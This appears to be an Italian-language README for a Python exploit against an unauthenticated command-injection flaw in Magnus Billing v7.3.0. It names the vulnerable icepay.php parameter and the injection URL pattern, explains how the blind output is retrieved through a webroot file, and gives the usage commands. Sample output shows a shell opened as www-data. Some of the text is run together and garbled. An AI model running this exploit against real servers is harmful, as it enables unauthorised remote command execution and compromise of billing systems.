
Vulnerabilità di iniezione di comandi non autenticata in Magnus Billing v7.3.0.
Vulnerabilità di iniezione di comando non autenticata in Magnus Billing v7.3.0. Il parametro GET
democinicepay.phpviene passato direttamente a una funzione shell senza sanificazione, consentendo l'esecuzione arbitraria di comandi come utente del server web. L'iniezione è cieca — l'output non viene riflesso nella risposta HTTP — quindi questo exploit reindirizza l'output di ogni comando in un file nella webroot e lo recupera tramite HTTP.
/mbilling/lib/icepay/icepay.php?democ=;<command>;.out.txt).Se il target utilizza un percorso webroot diverso, modifica
OUTPUT_FILEall'inizio dello script.
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests prompt_toolkit
python3 exploit.py -t http://TARGET
Esempio:
$ python3 exploit.py -t http://10.10.10.10
[*] Testing command execution...
[+] Target is vulnerable! Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> whoami
www-data